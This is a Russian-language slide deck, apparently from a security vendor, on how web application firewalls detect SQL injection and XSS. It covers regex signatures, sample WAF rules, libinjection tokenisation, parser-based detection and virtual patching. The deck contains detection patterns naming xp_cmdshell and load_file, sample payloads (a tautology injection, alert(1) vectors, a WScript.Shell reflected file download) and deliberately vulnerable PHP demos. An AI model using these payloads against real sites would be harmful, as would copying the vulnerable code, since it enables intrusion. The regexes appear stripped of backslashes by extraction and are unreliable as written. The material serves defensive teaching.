(/*!?|*/|[';]--|--[srnvf]|(?:--[^-]*?-)|([^-&])#.*?[srnvf]|;?x00)
#	SQL	Hex	Evasion	Methods
(?i:(?:A|[^d])0x[a-fd]{3,}[a-fd]*)+
#	String	Termination/Statement	Ending	Injection	Testing
(^["'`´’‘;]+|["'`´’‘;]+$)
#	SQL	Operators
(?i:(!=|&&||||>>|<<|>=|<=|<>|<=>|bxorb|brlikeb|bregexpb|bisnullb)|(?:nots+betweens+0s+and)|(?:iss+null)|(likes+
null)|(?:(?:^|W)in[+s]*([sd"]+[^()]*))|(?:bxorb|<>|rlike(?:s+binary)?)|(?:regexps+binary))
#		SQL	Tautologies	
(?i:([s'"`´’‘()]*?)b([dw]++)([s'"`´’‘()]*?)(?:(?:=|<=>|r?like|soundss+like|regexp)([s'"`´’‘()]*?)2b|(?:!=|<=|>=|<>|<|>|^|iss
+not|nots+like|nots+regexp)([s'"`´’‘()]*?)(?!2)([dw]+)b))
#	Detect	DB	Names
(?i:(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|ast
er..sysdatabases|ysql.db)|s(?:ys(?:.database_name|aux)|chema(?:W*(|_name)|qlite(_temp)?_master)|d(?:atabas|b_nam)eW*(|
information_schema|pg_(catalog|toast)|northwind|tempdb))
ЗаголовокЛексический подход
SQL Injection
(?i:b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_u
ser|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4|ipv6|not_null|not|null|used_lock))?|n(?:et6?_
(aton|ntoa)|s(?:ert|tr)|terval)?|f(null)?)|u(?:n(?:compress(?:ed_length)?|ix_timestamp|hex)|tc_(date|time|timestamp)|p(?:datexml|per)|uid(_short)?|ca
se|ser)|l(?:o(?:ca(?:l(timestamp)?|te)|g(2|10)?|ad_file|wer)|ast(_day|_insert_id)?|e(?:(?:as|f)t|ngth)|case|trim|pad|n)|t(?:ime(stamp|stampadd|stamp
diff|diff|_format|_to_sec)?|o_(base64|days|seconds|n?char)|r(?:uncate|im)|an)|m(?:a(?:ke(?:_set|date)|ster_pos_wait|x)|i(?:(?:crosecon)?d|n(?:ute)?)|
o(?:nth(name)?|d)|d5)|r(?:e(?:p(?:lace|eat)|lease_lock|verse)|o(?:w_count|und)|a(?:dians|nd)|ight|trim|pad)|f(?:i(?:eld(_in_set)?|nd_in_set)|rom_(bas
e64|days|unixtime)|o(?:und_rows|rmat)|loor)|a(?:es_(?:de|en)crypt|s(?:cii(str)?|in)|dd(?:dat|tim)e|(?:co|b)s|tan2?|vg)|p(?:o(?:sition|w(er)?)|eriod_(ad
d|diff)|rocedure_analyse|assword|i)|b(?:i(?:t_(?:length|count|x?or|and)|n(_to_num)?)|enchmark)|e(?:x(?:p(?:ort_set)?|tract(value)?)|nc(?:rypt|ode)|lt)
|v(?:a(?:r(?:_(?:sam|po)p|iance)|lues)|ersion)|g(?:r(?:oup_conca|eates)t|et_(format|lock))|o(?:(?:ld_passwo)?rd|ct(et_length)?)|we(?:ek(day|ofyear)?|ig
ht_string)|n(?:o(?:t_in|w)|ame_const|ullif)|(rawton?)?hex(toraw)?|qu(?:arter|ote)|(pg_)?sleep|year(week)?|d?count|xmltype|hour)W*(|b(?:(?:s(?:ele
ctb(?:.{1,100}?b(?:(?:length|count|top)b.{1,100}?bfrom|fromb.{1,100}?bwhere)|.*?b(?:d(?:umpb.*bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p
_(?:sqlexec|sp_replwritetovarbin|sp_help|addextendedproc|is_srvrolemember|prepare|sp_password|execute(?:sql)?|makewebtask|oacreate)|ql_(?:longv
archar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|terminate|xp_servicecontrol|xp_nts
ec_enumdomains|xp_terminate_process|e(?:xecresultset|numdsn)|availablemedia|loginconfig|cmdshell|filelist|dirtree|makecab|ntsec)|u(?:nionb.{1,10
0}?bselect|tl_(?:file|http))|d(?:b(?:a_users|ms_java)|eletebW*?bfrom)|groupb.*bbyb.{1,100}?bhaving|open(?:rowset|owa_util|query)|loadbW*
?bdatab.*binfile|(?:n?varcha|tbcreato)r|autonomous_transaction)b|i(?:n(?:tobW*?b(?:dump|out)file|sertbW*?binto|nerbW*?bjoin)b|(?:f(?:
bW*?(W*?bbenchmark|nullb)|snullb)W*?()|printbW*?@@|castbW*?()|c(?:(?:ur(?:rent_(?:time(?:stamp)?|date|user)|(?:dat|tim)e)|h(?:ar(
?:(?:acter)?_length|set)?|r)|iel(?:ing)?|ast|r32)W*(|o(?:(?:n(?:v(?:ert(?:_tz)?)?|cat(?:_ws)?|nection_id)|(?:mpres)?s|ercibility|alesce|t)W*(|llationW*
(a))|d(?:(?:a(?:t(?:e(?:(_(add|format|sub))?|diff)|abase)|y(name|ofmonth|ofweek|ofyear)?)|e(?:(?:s_(de|en)cryp|faul)t|grees|code)|ump)W*(|bms_
w+.b)|(?:;W*?b(?:shutdown|drop)|@@version)b|butl_inaddrb|bsys_contextb|'(?:s(?:qloledb|a)|msdasql|dbo)'))
Заголовок
Регулярные выражения – определение языка атак
Правила – определение контекста и логики
Правила
• Условия
• Ограничения
• Контекст
• Источники
• Корреляции
• Реакции
Правила
ЗаголовокПример правил CloudFlare WAF
Anonymous Attack
rule	1234567A	Simple	POST	botnet
REQUEST_METHOD	is	POST	and
REQUEST_URI	is	/q
deny
rule	12345679	Anonymous	attack
REQUEST_METHOD	is	GET	and
REQUEST_URI	begins	/?msg=Nous%20sommes%20Anonymous
deny
Simple POST Botnet
ЗаголовокПример правил: NAXSI
SQL injection
##	Hardcore	rules
MainRule "str:/*"	"msg:mysql comment	(/*)"	"mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie"	"s:$SQL:8"	id:1003;
MainRule "str:*/"	"msg:mysql comment	(*/)"	"mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie"	"s:$SQL:8"	id:1004;
MainRule "str:|"	"msg:mysql keyword	(|)"	"mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie"	"s:$SQL:8"	id:1005;
MainRule "str:&&"	"msg:mysql keyword	(&&)"	"mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie"	"s:$SQL:8"	id:1006;	
##	end	of	hardcore	rules	
MainRule "str:--"	"msg:mysql comment	(--)"	"mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie"	"s:$SQL:4"	id:1007;	
MainRule "str:;"	"msg:semicolon"	"mz:BODY|URL|ARGS"	"s:$SQL:4,$XSS:8"	id:1008;	
MainRule "str:="	"msg:equal sign	in	var,	probable	sql/xss"	"mz:ARGS|BODY"	"s:$SQL:2"	id:1009;	
MainRule "str:("	"msg:open parenthesis,	probable	sql/xss"	"mz:ARGS|URL|BODY|$HEADERS_VAR:Cookie"	"s:$SQL:4,$XSS:8"	id:1010;	
MainRule "str:)"	"msg:close parenthesis,	probable	sql/xss"	"mz:ARGS|URL|BODY|$HEADERS_VAR:Cookie"	"s:$SQL:4,$XSS:8"	id:1011;	
MainRule "str:'"	"msg:simple quote"	"mz:ARGS|BODY|URL|$HEADERS_VAR:Cookie"	"s:$SQL:4,$XSS:8"	id:1013;	
MainRule "str:,"	"msg:comma"	"mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie"	"s:$SQL:4"	id:1015;	
MainRule "str:#"	"msg:mysql comment	(#)"	"mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie"	"s:$SQL:4"	id:1016;	
MainRule "str:@@"	"msg:double arobase (@@)"	"mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie"	"s:$SQL:4"	id:1017;
Заголовок
• Использует бальную систему (scoring)
• Не использует сигнатуры
Пример правил: NAXSI
ЗаголовокПример правил: ModSecurity
Heuristic Checks
#
# -=[ Heuristic Checks ]=-
#
# [ Repeatative Non-Word Chars ]
#
# This rule attempts to identify when multiple (4 or more) non-word characters are repeated in
sequence
#
SecRule ARGS "W{4,}"
"phase:2,capture,t:none,t:urlDecodeUni,block,id:'960024',rev:'2',ver:'OWASP_CRS/2.2.9',maturity:'9',ac
curacy:'8',msg:'Meta-Character Anomaly Detection Alert - Repetative Non-Word
Characters',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}:
%{MATCHED_VAR}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:'tx.msg=%{rule.msg}',setva
r:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION-%{matched_var_name}=%{tx.0}"
ЗаголовокПример правил: PT AF
Reflected File Download
{
"rule":	{
"and":	[	{
"REQUEST_URI":	{
"regex":	
"(?:/[^?/]+.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:;[^?/]*)??)|?.+=.*(?:(?:ActiveXObject|CreateObject|Exec)((?
:x22|')|((?:'|x22)WScript.Shell)"
}
},
{
"RESPONSE_HEADERS;content-disposition":	{
"itext":	"attachment"
}
}
]
}
}
Заголовок
Лексико-сигнатурный подход
Заголовок
Предложил Nick Galbreath в 2012 для обнаружения SQL-инъекций
Позднее данный подход был адаптирован для обнаружения XSS
Реализован в библиотеке libinjection
Основные идеи
• Токенизация в соответствии с универсальной грамматикой лексера в 3-х
контекстах
• Строится свертка токенов
• Строка из первых пяти токенов ищется в базе сигнатур
• База сигнатур строится по популярным векторам атак
Лексико-сигнатурный подход
ЗаголовокПример
input = 42" or "1"="1" --
1
ЗаголовокПример
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
ЗаголовокПример
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
Токены
('1', '42'): number
('s', ' " or "'): string
('1', '1'): number
('s', ' "=" '): string
('1', '1'): number
('s', ' "--'): string
ЗаголовокПример
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
('1', '42'): number
('s', ' " or "'): string
('1', '1'): number
('s', ' "=" '): string
('1', '1'): number
('s', ' "--'): string
Токены
1s1s1s
Сигнатура
ЗаголовокПример
input = 42" or "1"="1" --
Context AS_IS = 42" or "1"="1" --
1
('1', '42'): number
('s', ' " or "'): string
('1', '1'): number
('s', ' "=" '): string
('1', '1'): number
('s', ' "--'): string
Токены Сигнатура
1s1s1s
ЗаголовокПример
input = 42" or "1"="1" --
2
ЗаголовокПример
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
ЗаголовокПример
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' '42" or "1"="1" --'):
string
Токены
ЗаголовокПример
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' '42" or "1"="1" --'):
string
Токены
s
Сигнатура
ЗаголовокПример
input = 42" or "1"="1" --
Context SINGLE_QUOTE = '42" or "1"="1" --
2
('s', ' '42" or "1"="1" --'):
string
Токены
s
Сигнатура
ЗаголовокПример
input = 42" or "1"="1" --
3
ЗаголовокПример
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
ЗаголовокПример
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
('s', ' "42" '): string
('&', 'or'): logic operator
('s', ' "1" '): string
('o', '='): operator
('1', ' "1" '): string
('c', '--'): comment
Токены
ЗаголовокПример
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
Токены
s&sos
Сигнатура
('s', ' "42" '): string
('&', 'or'): logic operator
('s', ' "1" '): string
('o', '='): operator
('1', ' "1" '): string
('c', '--'): comment
ЗаголовокПример
input = 42" or "1"="1" --
Context DOUBLE_QUOTES = "42" or "1"="1" --
3
Токены
s&sos
Сигнатура
('s', ' "42" '): string
('&', 'or'): logic operator
('s', ' "1" '): string
('o', '='): operator
('1', ' "1" '): string
('c', '--'): comment
Заголовок
&(1)U
&(1)o
&(1o(
&(1of
&(1os
&(1ov
&(f()
&(nof
&(nos
&(nov
&(s)U
Примеры сигнатур
https://github.com/client9/libinjection/blob/master/src/fingerprints.txt
ЗаголовокФрагмент ядра libinjection
libinjection: src/libinjection_sqli.c
ЗаголовокПример использования
Shockfish: shockfish/protectors/sqli.py
Заголовок
Ложные срабатывания
• if all else fails call grandma
• "Dr. Who" and coffee
• "SWEATER DRESS" AND "CHRISTMAS”
Пропуски
• Неизвестные токены
• Неизвестные контексты
Недостатки
Ivan Novikov. How to bypass libinjection in many WAF/NGWAF
Reto Ischi. An Alternative Approach for Real-life SQLi Detecion
ЗаголовокНеизвестные контексты
Michael	Stepankin.	Advanced	Web	Application	Fuzzing
Заголовок
Синтаксический подход
Заголовок
Впервые применение парсеров для обнаружения инъекций было описано
в работе Роберта Хансена и Мередит Паттерсон «Guns and Butter: Towards
Formal Axioms of Input Validation» для Black Hat 2005
«Сontext-free parse tree validation»
• По известным запросам приложения грамматика для SQL преобразуется в грамматику
для subSQL
• По построенной грамматике генерируется парсер
• Парсер subSQL распознает только цепочки подъязыка SQL этого приложения
Robert J. Hansen, Meredith L. Patterson. Guns and Butter: Towards Formal
Axioms of Input Validation
Синтаксический подход
Заголовок
Ленивые – эвристическое использование готовых парсеров
• DOMPurify
• DOMSanitizer
Грамматические
• libdetection (Wallarm)
• libdejection (PT AF, DBFW)
• libprotection (PT AI)
В идеале необходимо использовать парсеры целевых
компьютерных систем, для предотвращения уязвимостей типа
«parser differentials»
Новые методы
Заголовок
Строка s - инъекция для языка L(G), если в построенном дереве разбора s по грамматике G
содержится хотя бы одна опасная инструкция
• 11111
• alert(1)
Базовая идея – с использованием готового парсера построить дерево разбора; если дерево
разбора содержит запрещенные узлы-нетерминалы, то исходная строка является инъекцией
Характеристики подхода
• Возможность использования готовых парсеров
• Универсальность
• Эвристичность
• Различимость парсеров
Ленивый метод
ЗаголовокПример: DOM-based XSS
http://ex.com/foo.html#1
var input = location.hash.slice(1);
document.write("<scr"+"ipt>var foo = "+ input +";</scr"+"ipt>");
<script> var foo = 1; <script>
Program
ExpressionStatement
Literal
ЗаголовокПример: DOM-based XSS
http://ex.com/foo.html#1;alert(1)
var input = location.hash.slice(1);
document.write("<scr"+"ipt>var foo = "+ input +";</scr"+"ipt>");
<script> var foo = 1;alert(1); <script>
Program
ExpressionStatement
Literal
ExpressionStatement
CallExpression
Identifier
Literal
Заголовок
Запрещенные нетерминалы (опасные конструкции) в простейшем
случае задаются перечнем типов узлов
Для уменьшения числа ложных срабатываний могут быть
использованы дополнительные проверки на основе родительских
или дочерних узлов
Что делать, когда дерево разбора не может быть построено?
""};alert(1);var f={t:"
Поиск вредоносного кода
Заголовок
Вход: строка S, контекст CTX
Выход: является ли S инъекцией в контексте CTX?
1. Построить tokens – список токенов s в CTX
2. Построить дерево разбора для S в CTX
3. Если в дереве есть запрещенные узлы, то S – инъекция
4. Иначе удалить из S следующий токен
5. Если S – непустая строка, то перейти на шаг 2
Метод поиска с левым приведением
ЗаголовокAcorn Plugins
function sanitize(dirty) {
var acorn = require('acorn'), detected = false, tree ;
acorn.plugins.detectCallExpression = function(parser) {
parser.extend('finishNode', function(nextMethod) {
return function(code, node) {
if(node === 'CallExpression') {
detected = true;
}
return nextMethod.call(this, code, node);
}
})
};
tree = acorn.parse(dirty, {plugins: {detectCallExpression: true}});
if (detected) {
return 'xss';
}
return dirty;
}
Acorn	is	designed	support	allow	plugins	which,	within	reasonable	bounds,	redefine	the	
way	the	parser	works.	Plugins	can	add	new	token	types	and	new	tokenizer	contexts	(if	
necessary),	and	extend	methods	in	the	parser	object
ЗаголовокEsprima Syntax Delegate
function sanitize(dirty) {
var esprima = require('esprima'), detected = false, tree;
tree = esprima.parse(dirty, {}, function(node, meta) {
if(node.type === 'CallExpression') {
detected = true;
}
});
if (detected) {
return 'xss';
}
return dirty;
}
sanitize(';alert(1);var f={t:')
// 'xss'
A	powerful	feature	available	in Esprima since version	3.0 is	the	ability	to	invoke	a	callback	
function	after	every	syntax	node	in	the abstract	syntax	tree is	created,	often	referred	as	
the syntax	delegate
Ariya Hidayat.	On-the-fly	JavaScript	Syntax	Node	Inspection.
ЗаголовокПример
nodes = {CallExpression}
input = "});alert(1);var f=({t:"
context = "
1
ЗаголовокПример
nodes = {CallExpression}
input = "});alert(1);var f=({t:"
context = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "}
2
ЗаголовокПример
nodes = {CallExpression}
input = "});alert(1);var f=({t:"
context = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "}
vector = ""});alert(1);var f =({t:"
parse(vector): Unexpected token (1:2)
3
ЗаголовокПример
nodes = {CallExpression}
input = "});alert(1);var f=({t:"
context = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "}
vector = });alert(1);var f =({t:"
parse(vector): Unexpected token (1:0)
4
ЗаголовокПример
nodes = {CallExpression}
input = "});alert(1);var f=({t:"
context = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "}
vector = );alert(1);var f =({t:"
parse(vector): Unexpected token (1:0)
5
ЗаголовокПример
nodes = {CallExpression}
input = "});alert(1);var f=({t:"
context = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "}
vector = ;alert(1);var f =({t:"
parse(vector): Program
6
ЗаголовокПример
7 Program
EmptyStatement ExpressionStatement
alert
CallExpression
…
arguments
1
nodes = {CallExpression}
vector = ;alert(1);var f =({t:"
ЗаголовокПримеры обнаруживаемых векторов
http://friendfeed.com/api/feed/public?callback=var WshShell=new
ActiveXObject("WScript.Shell");WshShell.Exec("calc");//
Internet Explorer Reflected File Download
Reflected XSS on developer.uber.com via Angular template injection
ES6
alert`1`
https://developer.uber.com/docs/deep-
linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescript
or(_.__proto__,$).value,0,"alert(1)")()}}zzzz
ЗаголовокТолерантность к ошибкам
)},{0:prompt(1
Prompt.ml	Challenge	Hidden	Level	4
function escape(input) {
// You know the rules and so do I
input = input.replace(/"/g, '');
return '<body onload="think.out.of.the.box(' + input + ')">';
}
return '<body onload="think.out.of.the.box()},{0:prompt(1)">';
"… the	solution	might	work	for	some	older	versions	of	Chrome,	while	for	others,	a	
different	vector	would	be	needed…"
ЗаголовокТолерантность к ошибкам
nodes	=	{CallExpression}
input	=	)},{0:prompt(1
Program
ExpressionStatement
SequenceExpression
…
ObjectExpressionIdentifier
CallExpression
name: x
Заголовок
Используем толерантный к ошибкам парсер (Acorn loose parser)
Это приводит к неизбежному росту числа ложных срабатываний
• CallExpression: 123(1+1)
Ограничиваются правила толерантности парсера
Толерантность к ошибкам
А. Перцев, Д. Колегов. Эвристический метод обнаружения DOM-based XSS с
использованием толерантных синтаксических анализаторов
Заголовок
Встроенное распознавание
ЗаголовокDOM и DOMParser
DOMParser – интерфейс для парсинга и сериализации DOM
var s = '<img src=1 "x" "y" onload="onload"="alert(1)" >';
var p = new DOMParser();
var d = p.parseFromString(s, 'text/html');
console.log(d.body.innerHTML);
// IE 10
// <img onload="onload" src="1" "x"="" "y"="" ="alert(1)"="">
// FF
// <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"="">
// Chrome
// <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"="">
Заголовок
"DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for
HTML, MathML and SVG"
Адрес проекта
https://github.com/cure53/DOMPurify
Особенности
• Точный механизм
• Инструмент для разработчиков
• Удаление вредоносного и запрещенного кода из HTML / MathML / SVG
• Поддерживает механизм хуков
DOMPurify
ЗаголовокDOMPurify
DOMPurify: src/purify.js
ЗаголовокЧто может DOMPurify
Предотвращать атаки XSS (в том числе для jQuery)
var dirty = '<a>123<b>456<script>alert(1)</script></b></a>789';
var clean = DOMPurify.sanitize(dirty, {FORBID_TAGS: ['a', 'b']});
clean; //123456789
var dirty = '<img src=x name=createElement><img src=y id=createElement>';
var clean = DOMPurify.sanitize(dirty);
clean; // "<img src="x"><img src="y">"
var dirty = '<img src="http://evil.com/log.cgi?';
var clean = DOMPurify.sanitize(dirty);
clean; // ""
Предотвращать атаки DOM Clobbering
Предотвращать атаки Dangling Markup Injection
ЗаголовокDOMPurify для WAF
function isXSS(s) {
var isClean = true;
DOMPurify.sanitize(s);
if (DOMPurify.removed.length > 0)) {
return !isClean;
}
return isClean;
}
ε, dompurify.removed(x) ≠ 0
x, dompurify.removed(x) = 0
isXSS(x) =
ЗаголовокНормализация
DOMSanitizer: src/sanitizer.js
Заголовок
Виртуальный патчинг
Заголовок
Виртуальный патч – то, что предотвращает использование
обнаруженной уязвимости к атаке
• SAST
• DAST
Особенности
• Использование механизма правил, а не сигнатур
• Возможно использование сложных алгоритмов защиты (CSRF, IDOR)
Виртуальный патчинг
Ryan Barnett.	WAF	Virtual	Patching	Challenge
Заголовок
Знать как не должно быть: необходимые и достаточные условия
наличия уязвимости
Знать как есть: доказать наличие этих условий в анализируемом
коде защищаемого приложения
Устранить хотя бы одно из необходимых условий путем
изменения исходного кода защищаемого приложения
Как сгенерировать патч
В.	Кочетков.	Автоматическая	генерация	патчей для	уязвимого	
исходного	кода
Заголовок
Знать как не должно быть: необходимые и достаточные условия
наличия уязвимости
Знать как есть: доказать наличие этих условий в защищаемом
приложении
Сделать невозможным выполнение хотя бы одного из
необходимых условий путем изменения запросов к
защищаемому приложению
Как сгенерировать виртуальный патч
Заголовок
• Средствами xAST выполняется поиск уязвимостей веб-
приложения
• По найденным уязвимостям создается отчет
• Отчет содержит перечень найденных уязвимостей и
автоматически сгенерированные эксплойты
• По полученным эксплойтам генерируются сигнатуры и итоговые
правила виртуальных патчей
Метод защиты
ЗаголовокПример 1: исходный код
// page.php
<?php
$name = $_GET["name"];
?>
<html>
<body>
<div class="user">
<?php echo $name; ?>
</div>
</body>
</html>
ЗаголовокПример 1: эксплойт
// page.php
<?php
$name = $_GET["name"];
?>
<html>
<body>
<div class="user">
<?php echo $name; ?>
</div>
</body>
</html>
http://example.com/blog/page.php?name=<svg/onload=alert(1)>
Эксплоит:
ЗаголовокПример 1: отчет
{
"path":	"/blog/page.php",
"source":	"/opt/app/www/blog/page.php",
"type":	"XSS",
"exploit":	"rnGET /blog/page.php/id=<svg/onload=alert(1)>	HTTP/1.1rnHost:	example.comrn",
"params":	{
"param":	{
"src":	"REQUEST_GET_ARGS",
"payload":	"<svg/onload=alert(1)>",
"name":	"id",
"dependencies":	{"dependency":	[
"%3C",
"%3E"
]}
}}}
ЗаголовокПример 1: правило
{
"and":	[
{
"REQUEST_PATH":	"/blog/page.php"
},
{
"REQUEST_GET_ARGS:id":	{
"regex":	"[<>]"
}
}
]
}
ЗаголовокПример 2: исходный код
// page.php
<html>
<body>
<?php
$name = $_GET["name"];
$type = $_GET["type"];
$decoded_name = base64_decode($name);
if (!$decoded_name) {
echo "Error during ".$type." processing.";
} else {
…
}
?>
</body>
</html>
ЗаголовокПример 2: эксплойт
http://example.com/blog/page.php?type=<svg/onload=alert(1)>&name=$1
Эксплоит:
// page.php
<html>
<body>
<?php
$name = $_GET["name"];
$type = $_GET["type"];
$decoded_name = ads_decode($name);
if (!$decoded_name) {
echo "Error during ".$type." processing.";
} else {
…
}
?>
</body>
</html>
Заголовок
• Виртальный патчинг здесь неэффективен
• Из-за неизвестного преобразования нет возможности сообщить
WAF информацию о том, какие значения должны принимать оба
параметра запроса для атаки
• Более того, из-за неизвестного преобразования не сработают и
все другие подходы
Метод защиты
Заголовок
Материалы
ЗаголовокКниги
ЗаголовокCopyrights
В презентации использованы следующие материалы:
В. Кочетков. Как разработать защищенное веб-приложение и не сойти с ума?
Д. Колегов, А. Реутов. Waf.js: как защитить веб-приложение с помощью JavaScript.
А. Петухов. Обзор ограничений современных технологий в области ИБ.
I. Markovic. HTTP Parameter Contamination.
I. Ristic. Protocol-Level Evasaion of Web Application Firewalls.
Z. Su, G. Wassermann. The Essence of Command Injection Attacks in Web Applications.
D. Kolegov, O. Broslavsky, N. Oleksov. White-Box HMAC
S. Bratus, M. Patterson, etc. Security Applications of Formal Language Theory
S. Bratus, M. Patterson, etc. A Taxonomy of LangSec Errors and How to Expunge Them
Заголовок
ptsecurity.com
Спасибо!
Спасибо!

Weitere ähnliche Inhalte

Was ist angesagt?

Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQubePositive Hack Days
 
Опыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииОпыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииSQALab
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Development User Group
 
Sqa days2010 polazhenko_osstm
Sqa days2010 polazhenko_osstmSqa days2010 polazhenko_osstm
Sqa days2010 polazhenko_osstmAlexei Lupan
 
[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...
[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...
[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...OWASP Russia
 
[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко
[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко
[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас ИващенкоOWASP Russia
 
Сетевые снифферы в тестировании
Сетевые снифферы в тестированииСетевые снифферы в тестировании
Сетевые снифферы в тестированииSQALab
 
Охота на угрозы на BIS summit 2016
Охота на угрозы на BIS summit 2016Охота на угрозы на BIS summit 2016
Охота на угрозы на BIS summit 2016Sergey Soldatov
 
Спасение через тестирование - история одного проекта
Спасение через тестирование - история одного проектаСпасение через тестирование - история одного проекта
Спасение через тестирование - история одного проектаEvgeniy Kuzmin
 
Собираем команду хакеров
Собираем команду хакеровСобираем команду хакеров
Собираем команду хакеровDmitry Evteev
 
Практика обнаружения атак, использующих легальные инструменты
Практика обнаружения атак, использующих легальные инструментыПрактика обнаружения атак, использующих легальные инструменты
Практика обнаружения атак, использующих легальные инструментыSergey Soldatov
 
Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...Статистика по результатам тестирований на проникновение и анализа защищенност...
Статистика по результатам тестирований на проникновение и анализа защищенност...Dmitry Evteev
 
Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...
Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...
Земсков - Как обеспечить безопасность клиентских сайтов в процессе оказания у...SEO Conference
 
Use of fuzz testing
Use of  fuzz testing Use of  fuzz testing
Use of fuzz testing CaMypau
 
Сергей Белов
Сергей БеловСергей Белов
Сергей БеловCodeFest
 
Robot Framework: универсальный инструмент автоматизатора
Robot Framework: универсальный инструмент автоматизатораRobot Framework: универсальный инструмент автоматизатора
Robot Framework: универсальный инструмент автоматизатораSQALab
 
Трудовые будни охотника на угрозы
Трудовые будни охотника на угрозыТрудовые будни охотника на угрозы
Трудовые будни охотника на угрозыSergey Soldatov
 

Was ist angesagt? (20)

Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Опыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииОпыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компании
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Sqa days2010 polazhenko_osstm
Sqa days2010 polazhenko_osstmSqa days2010 polazhenko_osstm
Sqa days2010 polazhenko_osstm
 
Sqa8 urazov
Sqa8 urazovSqa8 urazov
Sqa8 urazov
 
[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...
[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...
[1.4] «Ой, не шмогла». Обзор ограничений современных технологий в области ...
 
[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко
[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко
[1.3] Мониторинг событий ИБ — мастерим «дашборд» - Тарас Иващенко
 
Project under control
Project under controlProject under control
Project under control
 
Сетевые снифферы в тестировании
Сетевые снифферы в тестированииСетевые снифферы в тестировании
Сетевые снифферы в тестировании
 
Охота на угрозы на BIS summit 2016
Охота на угрозы на BIS summit 2016Охота на угрозы на BIS summit 2016
Охота на угрозы на BIS summit 2016
 
Спасение через тестирование - история одного проекта
Спасение через тестирование - история одного проектаСпасение через тестирование - история одного проекта
Спасение через тестирование - история одного проекта
 
Собираем команду хакеров
Собираем команду хакеровСобираем команду хакеров
Собираем команду хакеров
 
Практика обнаружения атак, использующих легальные инструменты
